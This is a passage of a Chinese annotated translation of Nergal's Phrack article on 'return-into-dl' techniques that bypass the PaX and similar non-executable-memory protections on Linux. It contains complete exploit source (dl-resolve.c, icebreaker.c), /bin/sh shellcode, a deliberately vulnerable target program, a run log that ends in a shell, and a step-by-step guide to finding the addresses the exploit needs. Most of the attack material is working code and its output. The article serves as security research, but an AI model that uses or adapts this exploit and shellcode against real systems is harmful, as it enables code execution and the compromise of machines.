  } Elf32_Rel;


2) 计算函数的符号入口
      Elf32_Sym * sym = &SYMTAB[ ELF32_R_SYM (reloc->r_info) ];

3) 健壮性检查
       assert (ELF32_R_TYPE(reloc->r_info) == R_386_JMP_SLOT);

4) glibc 2.1.x(2.1.92可以确定)或者其后的,包括2.2.x,还执行一些其他的检查。
假如sym->st_other & 3不等于 0,符号被认为已经是被解析过了,并且算法会走向另外一个流程(
在我们情况下,可能会触发SIGSEGV).所以我们必须确定使sym->st_other & 3 等于 0.

5) 假如符号是带版本信息的(通常是带的),我们就要决定版本表索引并且找到版本信息。
      uint16_t ndx = VERSYM[ ELF32_R_SYM (reloc->r_info) ];
      const struct r_found_version *version =&l->l_versions[ndx];
l是link_map类型的参数。这里有个重要的部分就是ndx必须是合法的值。一个比较合适的值是0,
那意味着是"local symbol".

6) 决定函数的名字(asciiz字符串):
      name = STRTAB + sym->st_name;

7) 收集来的信息已经足够决定一个函数的地址。结果存放在两个类型为Elf32_Addr的变量中
(一个是reloc->r_offset,一个是sym->st_value.)

8) 纠正stack指针,函数被调用。

注意:在某些版本的glibc中,该算法可能是由fixup()函数执行的,而fixup()是被
dl-runtime-resolve()函数调用。


好了,介绍了上面的一些dl-resolve()函数执行过程后,我们来看看如何来构造我们的playload.

--------------------------------------------------------------------------
| buffer fill-up | .plt start | reloc_offset | ret_addr | arg1 | arg2 ...      
--------------------------------------------------------------------------
                 ^
                 |
                 - 这个32位的int应该是覆盖vuln函数的返回地址


假如我们准备适当的sym和reloc变量值(类型分别为Elf32_Sym和Elf32_Rel),并且计算
适当的reloc_offset,这样控制权将被传到函数名为(STRTAB + sym->st_name (这个字段也是我们
可以控制的))的函数中。参数arg1, arg2将被放到适当的位置,并且我们仍然有机会返回到另外的函
数中(ret_addr)。

我们先来看看dl-resolve.c,使用的就是上面讲到的技术。

[alert7@redhat62 phrack-nergal]$ cat dl-resolve.c
/* by Nergal */
#include <stdlib.h>
#include <elf.h>
#include <stdio.h>
#include <string.h>

#define STRTAB 0x804822c
#define SYMTAB 0x804816c
#define JMPREL 0x8048310
#define VERSYM 0x80482c8

#define PLT_SECTION "0x08048380"

void graceful_exit()
{
      exit(123);
}

void doit(int offset)
{
      int res;
      __asm__ volatile ("
        pushl $0x01011000
        pushl $0xffffffff
        pushl $0x00000032
        pushl $0x00000007
        pushl $0x01011000
        pushl $0xaa011000
        pushl %%ebx //把graceful_exit函数地址push stack,返回时就返回到这里了
        pushl %%eax //把offset push stack
        pushl $" PLT_SECTION "
        ret"
        :"=a"(res) //输出部分,res使用eax
        :"0"(offset),//使用与%0同样的寄存器,也就是eax
        "b"(graceful_exit)//输入部分 ,graceful_exit使用ebx
      );

}

/* this must be global */
Elf32_Rel reloc;

#define ANYTHING 0xfe
#define RQSIZE 60000
int
main(int argc, char **argv)
{
      unsigned int reloc_offset;
      unsigned int real_index;
      char symbol_name[16];
      int dummy_writable_int;
      char *tmp = malloc(RQSIZE);
      Elf32_Sym *sym;
      unsigned short *null_short = (unsigned short*) tmp;
      
      /* create a null index into VERSYM */
      *null_short = 0;
      
      real_index = ((unsigned int) null_short - VERSYM) / sizeof(*null_short);
/*   uint16_t ndx = VERSYM[ ELF32_R_SYM (reloc->r_info) ]; */
//   ndx= VERSYM[real_index];
//   为了使uint16_t ndx==0;ndx(就是这里的null_short)绕过版本检查

      sym = (Elf32_Sym *)(real_index * sizeof(*sym) + SYMTAB);
      /* Elf32_Sym * sym = &SYMTAB[ ELF32_R_SYM (reloc->r_info) ];*/
/*   #define ELF32_R_SYM(val)      ((val) >> 8)*/
//    即Elf32_Sym * sym = &SYMTAB[real_index];


   if ((unsigned int) sym > (unsigned int) tmp + RQSIZE) {
           fprintf(stderr,
              "mmap symbol entry is too far, increase RQSIZE\n");
           exit(1);
      }

      strcpy(symbol_name, "mmap");
      sym->st_name = (unsigned int) symbol_name - (unsigned int) STRTAB;//st_name是在STRTAB中的offset
   /*  name = STRTAB + sym->st_name; */

      sym->st_value = (unsigned int) &dummy_writable_int;
      sym->st_size = ANYTHING;
      sym->st_info = ANYTHING;
      sym->st_other = ANYTHING & ~3;
      sym->st_shndx = ANYTHING;
      reloc_offset = (unsigned int) (&reloc) - JMPREL;//reloc_offset是在JMPREL section的偏移量
      /* Elf32_Rel * reloc = JMPREL + reloc_offset; */
      //在_dl_runtime_resolve()函数中输入变量为reloc_offset
   //由reloc_offset变量可以确定一个Elf32_Rel * reloc;
   //由reloc.r_info又可以确定一个Elf32_Sym *sym;

   reloc.r_info = R_386_JMP_SLOT + real_index*256;
//   #define R_386_JMP_SLOT   7      /* Create PLT entry */
//   reloc.r_info = 7 + real_index<<8;

      reloc.r_offset = (unsigned int) &dummy_writable_int;

      doit(reloc_offset);
      printf("not reached\n");
      return 0;
}

需要调整参数的,具体如何调整看附件 README.code

使用strace跟踪该进程看看到底有没有调用成功
[alert7@redhat62 phrack-nergal]$ strace ./dl-resolve
execve("./dl-resolve", ["./dl-resolve"], [/* 20 vars */]) = 0
brk(0)                       = 0x80497d8
.....
old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_F
IXED|MAP_ANONYMOUS, -1, 0x1011000) = 0xaa011000
_exit(123)                    = ?
由上看出,mmap()和exit()两个函数已经成功调用了


★★ 击败PAX的随机mmap()base特性

为了使用以上讨论的"ret-into-dl" 技术,我们需要正确的定位一些结构的位置。
我们需要找到一个函数能够移动bytes到指定的地方的函数。显然我们会想到strcpy,
strncpy,sprintf或者是相似的函数。所以,正如[3]一样,我们需要在vuln 程序中找到
strcpy的PLT入口。

"Ret-into-dl"技术解决了随机mmapped库的问题,但是,堆栈的问题还存在。假如overflow
payload是存在stack中的,它的地址是我们无法知道的,所以我们不能使用strcpy插入一些0到堆栈。
因为我们的目的地址不知道。很不幸,Nergal没有想到通用的解决方法(其他人可以吗?)。但是,
还是有两种方法可能的:

1) 假如scanf()函数在PLT中是可用的话,我们能执行如下操作:
      scanf("%s\n",fixed_location)

  它将把终端的适当的payload copy到fixed_location。当我们使用"fake frames"
  技术时,stack frames可以被分成一些不连续的frame,所以我们能使用fixed_location
  作为frames.


2) 假如vuln程序带上 -fomit-frame-pointer编译的话,我们能够串联多次
  的strcpy调用(使用"esp lifting"方法而无需关心%esp)。第n个strcpy有如下的
  参数:
      strcpy(fixed_location+n, a_pointer_within_program_p_w_picpath)

  这种方法,我们能够一个字节一个字节的在fixed_location构造适当的frames.当
  完成时,我们从 "esp lifting"转换到"fake frames"。

做个小节,我们将需要两个条件:
1) strcpy(或者strncpy,sprintf etc..)在PLT中可用。
2) 在一般的执行过程中,vuln程序copy用户提供的数据到static或者malloced的
   变量中。

   
★ 构造exploit

我们将在我们的exploit中仿效dl-resove.c中的一些代码。使用mmap使内存属性为rwx
(我们将使用ret-into-dl技术调用mmap),我们将strcpy shellcode到那里。并且返回到
新拷贝得到的shellcode.我们讨论程序编译不带 -fomit-frame-pointer的情况
并且使用"frame faking"的方法。

我们需要确定三个相关的数据结构存放的位置:

1) Elf32_Rel reloc
2) Elf32_Sym sym
3) unsigned short verind (which should be 0)
如何得到 verind and sym 相关的地址呢?我们指派一个ELF32_R_SYM变量real_index
(real_index==reloc->r_info>>8);然后
      sym      is at SYMTAB+real_index*sizeof(Elf32_Sym)
      verind    is at VERSYM+real_index*sizeof(short)

一般情况下,verind会存放在.data或者.bss section的某个地方并且使用两次strcpy调用就可以
使它变成null结尾。不幸的是,在这种情况下,real_index往往是相当大。因为sizeof(Elf32_Sym)=16,
它比sizeof(short)大,sym相关的地址很有可能超过进程的数据空间。这就是为什么在dl-resolve.c
中,我们必须分配上万(RQSIZE)bytes的空间。

我们能够通过设置环境变量MALLOC_TOP_PAD_来任意扩大进程的数据空间
(记得tracertoute exploit??),但是该特性只能在local exploit中发挥作用。所以
我们必要选择更通用更合适的方法,我们将使verind更低,通常使它在只读的mmapped
空间中,所以我们在那里必须找到null short(就是0x0000,不是单一个\0).exploit将重新分配"sym"
结构到某个地址中,该地址由verind来决定。

哪里我们才能找到null short呢?首先,我们应该决定(通过查询/proc/pid/maps)
数据区可写内存的地址范围。也就是说,地址在某个范围内[low_addr,hi_addr]. 我们将
copy "sym"到那里。简单的计算告诉我们:real_index必须要在
[(low_addr-SYMTAB)/16,(hi_addr-SYMTAB)/16]之间。所以我们必须找到NULL short
在范围[VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]内。
找到适合的verind后,我们还需要做一些附加的检查。

1) sym的地址不能够跟我们fake frames地址交叉
2) sym的地址不能覆盖到任何的内部连接的数据(象strcpy的got入口等等)
3) 请记住:stack指针将被移到static数据区。
  那里必须要有足够的空间为动态连接器程序分配stack frames.所以,最好(但不是必须的)
  是把sym放到我们的fake frames之后。

一个建议:使用gdb来查找合适的null short比使用objdump -s 分析输出来的好来的方便.
后者不能显示.rodata section后面的内存部分。

icebreaker.c是pax.c的exploit的。vuln.c和pax.c之间唯一的不同就是后者拷贝环境变量
数据到一个static buffer中。

[alert7@redhat62 phrack-nergal]$ cat pax.c

#include <stdlib.h>
#include <string.h>
char spare[1024+200];//加了200个bytes,不然在我实验的环境下FRAMESINDATA为0x8049a00(包含\0)
char bigbuf[1024];

int
main(int argc, char ** argv)
{
   char buf[16];
   char * ptr=getenv("STR");
   if (ptr) {
      bigbuf[0]=0;
      strncat(bigbuf, ptr, sizeof(bigbuf)-1);
   }
   ptr=getenv("LNG");
   if (ptr)
      strcpy(buf, ptr);   
}

[alert7@redhat62 phrack-nergal]$ cat icebreaker.c

/* by Nergal */
#include <stdio.h>
#include <stddef.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

#define STRCPY       0x08048374 //0x08048340
#define LEAVERET      0x804842b//0x804842b
#define FRAMESINDATA   0x8049ae0//0x8049a00

#define STRTAB       0x80481f0//0x804822c//a0x8048204
#define SYMTAB       0x8048160//0x804816c//0x8048164
#define JMPREL       0x80482b4//0x8048310//0x80482f4
#define VERSYM       0x804827a//0x80482c8//0x80482a8
#define PLT         0x08048314//0x08048380//0x0804835c

#define VIND        0x8048460
/*[VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]*/

#define MMAP_START    0xaa011000

char hellcode[] =
   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

/*
Unfortunately, if mmap_string = "mmap", accidentaly there appears a "0" in
our payload. So, we shift the name by 1 (one &#39;x&#39;).
*/
#define NAME_ADD_OFF 1

char mmap_string[] = "xmmap";




struct two_arg {
      unsigned int new_ebp;
      unsigned int func;
      unsigned int leave_ret;
      unsigned int param1;
      unsigned int param2;
};
struct mmap_plt_args {
      unsigned int new_ebp;
      unsigned int put_plt_here;
      unsigned int reloc_offset;
      unsigned int leave_ret;
      unsigned int start;
      unsigned int length;
      unsigned int prot;
      unsigned int flags;
      unsigned int fd;
      unsigned int offset;
};
struct my_elf_rel {
      unsigned int r_offset;
      unsigned int r_info;
};
struct my_elf_sym {
      unsigned int st_name;
      unsigned int st_value;
      unsigned int st_size;      /* Symbol size */
      unsigned char st_info;      /* Symbol type and binding */
      unsigned char st_other;      /* ELF spec say: No defined meaning, 0 */
      unsigned short st_shndx;      /* Section index */

};


struct ourbuf {
      struct two_arg reloc;
      struct two_arg zero[8];
      struct mmap_plt_args mymmap;
      struct two_arg trans;
      char hell[sizeof(hellcode)];
      struct my_elf_rel r;
      struct my_elf_sym sym;
      char mmapname[sizeof(mmap_string)];

};

struct ov {
      char scratch[16];
      unsigned int ebp;
      unsigned int eip;
};

#define PTR_TO_NULL (VIND+1)
/* this functions prepares strcpy frame so that the strcpy call will zero
  a byte at "addr"
*/
void fix_zero(struct ourbuf *b, unsigned int addr, int idx)
{
      b->zero[idx].new_ebp = FRAMESINDATA +
        offsetof(struct ourbuf,
        zero) + sizeof(struct two_arg) * (idx + 1);
      b->zero[idx].func = STRCPY;
      b->zero[idx].leave_ret = LEAVERET;
      b->zero[idx].param1 = addr;
      b->zero[idx].param2 = PTR_TO_NULL;
}

/* this function checks if the byte at position "offset" is zero; if so,
prepare a strcpy frame to nullify it; else, prepare a strcpy frame to
nullify some secure, unused location */
void setup_zero(struct ourbuf *b, unsigned int offset, int zeronum)
{
      char *ptr = (char *) b;
      if (!ptr[offset]) {
           fprintf(stderr, "fixing zero at %i(off=%i)\n", zeronum,
              offset);
           ptr[offset] = 0xff;
           fix_zero(b, FRAMESINDATA + offset, zeronum);
      } else
           fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4,
              zeronum);
}

/* same as above, but prepare to nullify a byte not in our payload, but at
absolute address abs */
void setup_zero_abs(struct ourbuf *b, unsigned char *addr, int offset,
   int zeronum)
{
      char *ptr = (char *) b;
      if (!ptr[offset]) {
           fprintf(stderr, "fixing abs zero at %i(off=%i)\n", zeronum,
              offset);
           ptr[offset] = 0xff;
           fix_zero(b, (unsigned int) addr, zeronum);
      } else
           fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4,
              zeronum);
}

int main(int argc, char **argv)
{
      char lng[sizeof(struct ov) + 4 + 1];
      char str[sizeof(struct ourbuf) + 4 + 1];
      char *env[3] = { lng, str, 0 };
      struct ourbuf thebuf;
      struct ov theov;
      int i;
      unsigned int real_index, mysym, reloc_offset;

      memset(theov.scratch, &#39;X&#39;, sizeof(theov.scratch));
      if (argc == 2 && !strcmp("testing", argv[1])) {
           for (i = 0; i < sizeof(theov.scratch); i++)
                theov.scratch[i] = i + 0x10;
           theov.ebp = 0x01020304;
           theov.eip = 0x05060708;
      } else {
           theov.ebp = FRAMESINDATA;
           theov.eip = LEAVERET;
      }
      strcpy(lng, "LNG=");
      memcpy(lng + 4, &theov, sizeof(theov));
      lng[4 + sizeof(theov)] = 0;

      memset(&thebuf, &#39;A&#39;, sizeof(thebuf));
      real_index = (VIND - VERSYM) / 2;
      mysym = SYMTAB + 16 * real_index;
      fprintf(stderr, "mysym=0x%x\n", mysym);
      if (mysym > FRAMESINDATA
        && mysym < FRAMESINDATA + sizeof(struct ourbuf) + 16) {
           fprintf(stderr,
              "syment intersects our payload;"
              " choose another VIND or FRAMESINDATA\n");
           exit(1);
      }

      reloc_offset = FRAMESINDATA + offsetof(struct ourbuf, r) - JMPREL;

/* This strcpy call will relocate my_elf_sym from our payload to a fixed,
appropriate location (mysym)
*/
      thebuf.reloc.new_ebp =
        FRAMESINDATA + offsetof(struct ourbuf, zero);
      thebuf.reloc.func = STRCPY;
      thebuf.reloc.leave_ret = LEAVERET;
      thebuf.reloc.param1 = mysym;
      thebuf.reloc.param2 = FRAMESINDATA + offsetof(struct ourbuf, sym);

      thebuf.mymmap.new_ebp =
        FRAMESINDATA + offsetof(struct ourbuf, trans);
      thebuf.mymmap.put_plt_here = PLT;
      thebuf.mymmap.reloc_offset = reloc_offset;
      thebuf.mymmap.leave_ret = LEAVERET;
      thebuf.mymmap.start = MMAP_START;
      thebuf.mymmap.length = 0x01020304;
      thebuf.mymmap.prot =
        0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
      thebuf.mymmap.flags =
        0x01010000 | MAP_EXECUTABLE | MAP_FIXED | MAP_PRIVATE |
        MAP_ANONYMOUS;
      thebuf.mymmap.fd = 0xffffffff;
      thebuf.mymmap.offset = 0x01021000;

      thebuf.trans.new_ebp = 0x01020304;
      thebuf.trans.func = STRCPY;
      thebuf.trans.leave_ret = MMAP_START + 1;
      thebuf.trans.param1 = MMAP_START + 1;
      thebuf.trans.param2 = FRAMESINDATA + offsetof(struct ourbuf, hell);

      memset(thebuf.hell, &#39;x&#39;, sizeof(thebuf.hell));
      memcpy(thebuf.hell, hellcode, strlen(hellcode));

      thebuf.r.r_info = 7 + 256 * real_index;
      thebuf.r.r_offset = FRAMESINDATA + sizeof(thebuf) + 4;
      thebuf.sym.st_name =
        FRAMESINDATA + offsetof(struct ourbuf, mmapname)
        + NAME_ADD_OFF- STRTAB;

      thebuf.sym.st_value = FRAMESINDATA + sizeof(thebuf) + 4;
#define ANYTHING 0xfefefe80
      thebuf.sym.st_size = ANYTHING;
      thebuf.sym.st_info = (unsigned char) ANYTHING;
      thebuf.sym.st_other = ((unsigned char) ANYTHING) & ~3;
      thebuf.sym.st_shndx = (unsigned short) ANYTHING;

      strcpy(thebuf.mmapname, mmap_string);

/* setup_zero[_abs] functions prepare arguments for strcpy calls, which
are to nullify certain bytes
*/
      setup_zero(&thebuf,
        offsetof(struct ourbuf, r) +
        offsetof(struct my_elf_rel, r_info) + 2, 0);

      setup_zero(&thebuf,
        offsetof(struct ourbuf, r) +
        offsetof(struct my_elf_rel, r_info) + 3, 1);

      setup_zero_abs(&thebuf,
        (char *) mysym + offsetof(struct my_elf_sym, st_name) + 2,
              offsetof(struct ourbuf, sym) +
           offsetof(struct my_elf_sym, st_name) + 2, 2);

      setup_zero_abs(&thebuf,
        (char *) mysym + offsetof(struct my_elf_sym, st_name) + 3,
              offsetof(struct ourbuf, sym) +
           offsetof(struct my_elf_sym, st_name) + 3, 3);

      setup_zero(&thebuf,
        offsetof(struct ourbuf, mymmap) +
        offsetof(struct mmap_plt_args, start), 4);

      setup_zero(&thebuf,
        offsetof(struct ourbuf, mymmap) +
        offsetof(struct mmap_plt_args, offset), 5);

      setup_zero(&thebuf,
        offsetof(struct ourbuf, mymmap) +
        offsetof(struct mmap_plt_args, reloc_offset) + 2, 6);

      setup_zero(&thebuf,
        offsetof(struct ourbuf, mymmap) +
        offsetof(struct mmap_plt_args, reloc_offset) + 3, 7);

      strcpy(str, "STR=");
      memcpy(str + 4, &thebuf, sizeof(thebuf));
      str[4 + sizeof(thebuf)] = 0;
      if (sizeof(struct ourbuf) + 4 >
        strlen(str) + sizeof(thebuf.mmapname)) {
           fprintf(stderr,
              "Zeroes in the payload, sizeof=%d, len=%d, correct it !\n",
              sizeof(struct ourbuf) + 4, strlen(str));
           fprintf(stderr, "sizeof thebuf.mmapname=%d\n",
              sizeof(thebuf.mmapname));
           exit(1);
      }
      execle("./pax", "pax", 0, env, 0);
      return 1;
}
<-->
[alert7@redhat62 phrack-nergal]$ gcc -o icebreaker icebreaker.c
[alert7@redhat62 phrack-nergal]$ ./icebreaker
mysym=0x8049090
fixing zero at 0(off=306)
fixing zero at 1(off=307)
fixing abs zero at 2(off=310)
fixing abs zero at 3(off=311)
fixing zero at 4(off=196)
fixing zero at 5(off=216)
fixing zero at 6(off=190)
fixing zero at 7(off=191)
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)

经过修改一系列的参数调整(如何调整具体看附README.code),使用return_into_dl终于击败了pax :)


★ 兼容性

因为paX是为linux设计的,所以该文章的焦点也是在这个OS上。但是该技术是OS独立无关的。
stack和frame指针,c的调用风格,ELF的规范--所有的这些定义被广泛的使用着。
我们已经成功的在Solaris i386 and FreeBSD上运行了dl-resolve.c。
准确的说,mmap的第四个参数有点不同,必须被修正(就象MAP_ANON在BSD系统上有不同的值)。
在那两个OS情况下,动态连接器不关心symbol的版本,所以ret-into-dl更容易实现。


★ 其他的vuln类型

所有存在的技术都是基于stack buffer overflow的。
所有return-into-something exploits都依靠这样一个事实:我们不能只修改%eip就希望达到
成功的目的,我们也必须在stack top放置函数的参数(在返回地址后).

让我们考虑下VULN的两个大的分类:MALLOC控制结构腐烂和format string攻击。
第一种情况下,我们可以使用任意的值覆盖任意地址的int---通常,它太小而不能
绕过pax的保护。
在第二种情况下,也就是说在format string情况下,我们通常能改变任意数目大小bytes.
假如我们能覆盖任一函数的%ebp和%eip的话,我们将不在需要其他的了。但是因为
stack base是随机的,所以没有办法来确定frame的地址。

所以我们看到,在打过pax的内核上,MALLOC控制结构腐烂和format string这两种攻击将会
变的非常困难几乎是不可能的了。

***
题外话:保存着的FP(ebp)是一个指针,它可被用来做为%hn的参数。但是成功的exploit需要
三个函数返回,并且需要一个适当的本地的用户可控制的64K buffer.
***

显然,改变一些GOT入口(换句话说,仅通过%eip来获得控制)不足以逃避pax.


让我们假定有三个条件:

1) 程序被带上-fomit-frame-pointer编译
2) 有一个fl函数,它分配了一个stack的buffer, 而该buffer的内容又是可以又我们控制的
3) 这里存在一个format string bug(或者是滥用free())在函数 f2中,它被f1间接或者直接
  调用。

vuln code 例子
      void f2(char * buf)
      {
           printf(buf); // format bug here
           some_libc_function();
      }
      void f1(char * user_controlled)
      {
           char buf[1024];
           buf[0] = 0;
           strncat(buf, user_controlled, sizeof(buf)-1);
           f2(buf);
      }

当f1()被调用。在错误的format string的帮助下,我们能够改变some_libc_function的GOT
入口使它指向的地址包含如下代码片段:
addl $imm, %esp
      ret
也就是说,在一些函数的尾部。在这种情况下,当some_libc_function被调用时候,
"addl $imm, %esp"将纠正%esp.假如我们在结尾使用一个适当的$imm,%esp将指向buf内。
buf是可以由我们自由控制的。从以上看来,这种情况有点象stack buffer overflow。
我们使用ret_into_dl等技术把函数串起来。

另外的情况:单字节stack溢出.需要覆盖保存着的frame指针。在第二个函数返回时,
攻击着就有机会通过stack获得全部的控制权了
      

★ 其他non-exec的解决方案

我意识到这里有两种解决办法使在linux i386上的所有的数据区都不可执行。首先第一种是
RSX [10].然而,这种解决办法使stack不能执行指令,libraries的基地址也不是随机的,
这样的技术只需要把多次的函数调用串起来就可以了。前面我们已经讨论过了。

假如我们要执行任意的代码,一些额外的东西必须被采用。On RSX,不允许把执行代码放到
一个可写的内存区,所以 mmap(...PROT_READ|PROT_WRITE|PROT_EXEC)技术不能工作 。
但是任何的non-exec机制都必须允许从共享libraries中执行代码。在RSX这种情况下,使用
mmap(...PROT_READ|PROT_EXEC)把包含shellcode文件当作library mmap到内存中.
在远程exploit情况下,函数调用链允许我们首先创建一个这样的文件。

第二个解决办法,kNoX [11],是非常跟RSX相似。附加一点,它mmaps所有的libraries基地址为
0x00110000(就象Solar&#39;s patch那样)。正如前面讨论的,该保护也是不足的。


★ 改善已经存在的non-exec机制

不幸的是(幸运的是?),没有找到方法来修补pax,所以它对现在存在的技术是有
免疫的。毫无疑问的,ELF规范有太多的特性对攻击者来说是很有用的。当然,一些存在的
哄骗技术是不能够被阻止的。例如,为kernel打上一个补丁,使当PROT_EXEC标记存在时,
就忽略了MAP_FIXED。这样不能防止shellcode作为library被执行,却可以阻止一些存在的
exploits。但是,该fix可能仅仅对函数莲有用。

另一方面,配置pax (加上 segvguard支持)能使exploit变的更加的
困难,在某些情况下更变的不可能的。当(假如)PAX变的更加的稳定,将来它可能会被
更广泛的使用。


★ 使用的版本

  I have tested the sample code with the following versions of patches:

pax-linux-2.4.16.patch
kNoX-2.2.20-pre6.tar.gz
rsx.tar.gz for kernel 2.4.5

  You may test the code on any vanilla 2.4.x kernel as well. Due to some
optimisations, the code will not run on 2.2.x.


★★ 小结

为了绕过pax的保护使用的return_into_dl技术有几个不好的地方,也是无法避免的地方。
一:需要一个固定地址的buffer,也就是说或者是static的,或者是malloc出来的,因为
  stack地址我们无法预测。并且需要该buffer数据是可由用户控制的。
二:一些重要的数据必须精确的得到,就象那些exploit开头定义的那些常量。比如:
  #define STRCPY ...
pax给exploit带来了麻烦,同时也增加了exploit的成功率和难度。

return_into_dl的确是个很不错的技术,基本上现在可以绕过所有的基于bss/heap/stack不可
运行的linux内核补丁的保护。
一:可对抗一般的基于bss/heap/stack不可运行的linux内核补丁的保护
二:可对抗象Solar&#39;s patch把所有的libraries基地址mmap到0x00110000地址这个特性。
三:可对抗象pax把libraries mmap到随机不可猜测地址这个特性

现在所有的焦点又落在PLT上,就象waring3写的<<绕过Linux不可执行堆栈保护的方法浅析 >>
最后说到的:"一种可能的解决方法就是将PLT也映射到内存空间的低16M地址去,那这些攻击方法
就会失效了。"。但是这可能吗?!这样做以后导致的应用程序的通用性和兼容性问题又如何解决?
这值得探讨。
ELF有太多的特性可以被利用。以后的*unix下的exploit技术会越来越会和ELF的特性结合起来。

pax本站[7]好象访问不了:(
我已经把它放到xfocus上了,可到如下url下载:
[url]http://www.xfocus.net/download.php?id=311[/url]


★ Referenced publications and projects

[1] Aleph One
      the article in phrack 49 that everybody quotes
[2] Solar Designer
      "Getting around non-executable stack (and fix)"
      [url]http://www.securityfocus.com/archive/1/7480[/url]
[3] Rafal Wojtczuk
      "Defeating Solar Designer non-executable stack patch"
      [url]http://www.securityfocus.com/archive/1/8470[/url]
[4] John McDonald
      "Defeating Solaris/SPARC Non-Executable Stack Protection"
      [url]http://www.securityfocus.com/archive/1/12734[/url]
[5] Tim Newsham
      "non-exec stack"
      [url]http://www.securityfocus.com/archive/1/58864[/url]
[6] Gerardo Richarte, "Re: Future of buffer overflows ?"
      [url]http://www.securityfocus.com/archive/1/142683[/url]
[7] PaX team
      PaX
      [url]http://pageexec.virtualave.net[/url]
[8] segvguard
      [url]ftp://ftp.pl.openwall.com/misc/segvguard/[/url]
[9] ELF specification
      [url]http://fileformat.virtualave.net/programm/elf11g.zip[/url]
[10] Paul Starzetz
      Runtime addressSpace Extender
      [url]http://www.ihaquer.com/software/rsx/[/url]
[11] Wojciech Purczynski
      kNoX
      [url]http://cliph.linux.pl/knox[/url]
[12] grugq
      "Cheating the ELF"
      [url]http://hcunix.7350.org/grugq/doc/subversiveld.pdf[/url]

附件一:

<++> phrack-nergal/README.code !35fb8b53

              The advanced return-into-lib(c) exploits:
                      PaX case study
                Comments on the sample exploit code

                        by Nergal



      First, you have to prepare the sample vulnerable programs:
$ gcc -o vuln.omit -fomit-frame-pointer vuln.c
$ gcc -o vuln vuln.c
$ gcc -o pax pax.c
You may strip the binaries if you wish.



I. ex-move.c
~~~~~~~~~~~~

      At the top of ex-move.c, there are definitions for LIBC, STRCPY,
MMAP, POPSTACK, POPNUM, PLAIN_RET, FRAMES constants. You have to correct them.
MMAP_START can be left untouched.

1) LIBC
[nergal@behemoth pax]$ ldd ./vuln.omit
      libc.so.6 => /lib/libc.so.6 (0x4001e000) <- this is our address
      /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

2) STRCPY
[nergal@behemoth pax]$ objdump -T vuln.omit

vuln.omit:    file format elf32-i386

DYNAMIC SYMBOL TABLE:
08048348  w  DF *UND*  00000081  GLIBC_2.0  __register_frame_info
08048358    DF *UND*  0000010c  GLIBC_2.0  getenv
08048368  w  DF *UND*  000000ac  GLIBC_2.0  __deregister_frame_info
08048378    DF *UND*  000000e0  GLIBC_2.0  __libc_start_main
08048388  w  DF *UND*  00000091  GLIBC_2.1.3 __cxa_finalize
08048530 g   DO .rodata      00000004  Base      _IO_stdin_used
00000000  w  D  *UND*  00000000          __gmon_start__
08048398    DF *UND*  00000030  GLIBC_2.0  strcpy
  ^
  |---- this is the address we seek

3) MMAP
[nergal@behemoth pax]$ objdump -T /lib/libc.so.6 | grep mmap
000daf10  w  DF .text  0000003a  GLIBC_2.0  mmap
000db050  w  DF .text  000000a0  GLIBC_2.1  mmap64
      The address we need is 000daf10, then.

4) POPSTACK
      We have to find "add $imm,%esp" followed by "ret". We must
disassemble vuln.omit with the command "objdump --disassemble ./vuln.omit".
To simplify, we can use
[nergal@behemoth pax]$ objdump --disassemble ./vuln.omit |grep -B 1 ret
...some crap
--
80484be:     83 c4 2c           add   $0x2c,%esp
80484c1:     c3               ret
--
80484fe:     5d               pop   %ebp
80484ff:     c3               ret
--
...more crap
We have found the esp moving instructions at 0x80484be.

5) POPNUM
      This is the amount of bytes which are added to %esp in POPSTACK.
In the previous example, it was 0x2c.

6) PLAIN_RET
      The address of a "ret" instruction. As we can see in the disassembler
output, there is one at 0x80484c1.

7) FRAMES
      Now, the tough part. We have to find the %esp value just after the
overflow (our overflow payload will be there). So, we will make vuln.omit
dump core (alternatively, we could trace it with a debugger). Having adjusted
all previous #defines, we run ex-move with a "testing" argument, which will
put 0x5060708 into saved %eip.
[nergal@behemoth pax]$ ./ex-move testing
Segmentation fault (core dumped)       <- all OK
[nergal@behemoth pax]$ gdb ./vuln.omit core
(no debugging symbols found)...
Core was generated by ./vuln.omit&#39;.
Program terminated with signal 11, Segmentation fault.
#0  0x5060708 in ?? ()
      If in the %eip there is other value than 0x5060708, this means that
we have to align our overflow payload. If necessary, "scratch" array in
"struct ov" should be re-sized.  
(gdb) info regi
...
esp        0xbffffde0     0xbffffde0
...
The last value we need is 0xbffffde0.



II. ex-frame.c
~~~~~~~~~~~~~~  

      Again LIBC, STRCPY, MMAP, LEAVERET and FRAMES must be adjusted. LIBC,
STRCPY, MMAP and FRAMES should be determined in exactly the same way like in
case of ex-move.c.  LEAVERET should be the address of a "leave; ret"
sequence; we can find it with
[nergal@behemoth pax]$ objdump --disassemble vuln|grep leave -A 1
objdump: vuln: no symbols
8048335:     c9               leave
8048336:     c3               ret
--
80484bd:     c9               leave
80484be:     c3               ret
--
8048518:     c9               leave
8048519:     c3               ret

      So, we may use 0x80484bd for our purposes.



III. dl-resolve.c
~~~~~~~~~~~~~~~~~

      We have to adjust STRTAB, SYMTAB, JMPREL, VERSYM and PLT_SECTION
defines. As they refer to dl-resolve binary itself, we have to compile it
twice with the same compiler options. For the first compilation, we can
#define dummy values. Then, we run
[nergal@behemoth pax]$ objdump -x dl-resolve
      In the output, we see:
[...crap...]
Dynamic Section:
  NEEDED    libc.so.6
  INIT      0x804839c
  FINI      0x80486ec
  HASH      0x8048128
  STRTAB    0x8048240  (!!!)
  SYMTAB    0x8048170  (!!!)
  STRSZ     0xa1
  SYMENT    0x10
